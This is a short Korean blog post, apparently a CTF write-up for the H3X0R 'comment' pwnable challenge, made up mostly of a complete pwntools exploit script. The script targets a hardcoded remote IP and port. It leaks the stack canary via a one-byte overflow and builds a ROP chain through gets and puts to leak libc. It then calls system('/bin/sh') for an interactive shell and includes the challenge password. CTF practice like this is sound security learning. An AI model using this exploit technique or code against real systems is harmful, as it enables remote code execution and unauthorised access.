Notice
Recent Posts
Recent Comments
Link
«   2025/04   »
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

H3X0R CTF comment 본문

Security/Pwnable

H3X0R CTF comment

Cdor1 2017. 1. 13. 01:00

후기 : 1바이트 overflow를 통한 취약점 트리거! 입력가능범위를 ret까지만 늘리고

무한정 받을수있는 gets로 ret를 넘겨 rop로 공격했다.

포너블 입문할때 풀었던 ropasaurusrex문제가 생각나는 문제였다


from pwn import *
#s = remote('localhost', 4000)
s = remote('52.199.49.117', 10005)
elf = ELF('/home/cdor1/pwnable/comment')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
gets_plt = elf.plt['gets']
gets_got = elf.got['gets']
bss = elf.bss()

def login(password):
	print s.recvuntil('Choose :')
	s.sendline('1')
	print s.recvuntil('Give me the password')
	s.sendline(password)

def write(comment):
	print s.recvuntil('Choose :')
	s.sendline('2')
	print s.recvuntil('Give me your comment!')
	s.sendline(comment)

def view():
	print s.recvuntil('Choose :')
	s.sendline('3')

def edit(comment):
	print s.recv(2048)
	s.sendline('4')
	print s.recv(2048)
	s.sendline(comment)

login('{0h_y0u_s01v3d_5t3p_0n3}')
write('A'*1024)
edit('A'*1025)
edit('B'*1025)
view()
print s.recvuntil('B'*1025)
canary = u32('\x00' + s.recv(3))
log.info('canary : ' + hex(canary))

for i in range(0, 8):
	edit('A'*1040)

payload = 'B'*1024
payload += p32(canary)
payload += 'A'*12
payload += p32(0x080486C9)
edit(payload)

s.sendline('5')
s.sendline('5')

payload = 'A'*50
payload += p32(canary)
payload += 'A'*12
payload += p32(gets_plt)
payload += p32(0x08048A3F)
payload += p32(bss)

payload += p32(puts_plt)
payload += p32(0x08048A3F)
payload += p32(puts_got)

payload += p32(gets_plt)
payload += p32(0x08048A3F)
payload += p32(puts_got)

payload += p32(puts_plt)
payload += 'AAAA'
payload += p32(bss)

s.sendline(payload)
s.sendline('/bin/sh\x00')

print s.recvuntil('password\n')
leak = u32(s.recv(4))
base = leak - 0x6F690
system = base + 0x45390
log.info('leak : ' + hex(leak))
log.info('base : ' + hex(base))
log.info('system : ' + hex(system))
s.sendline(p32(system))
s.interactive()

'Security > Pwnable' 카테고리의 다른 글

SECUINSIDE Quals 2016 noted  (0) 2017.01.17
PoliCTF-2015 johns-library  (0) 2017.01.16
H3X0R CTF ezheap  (0) 2017.01.12
BoB CTF casino  (0) 2017.01.12
SECCON CTF 2016 checker  (0) 2017.01.11
Comments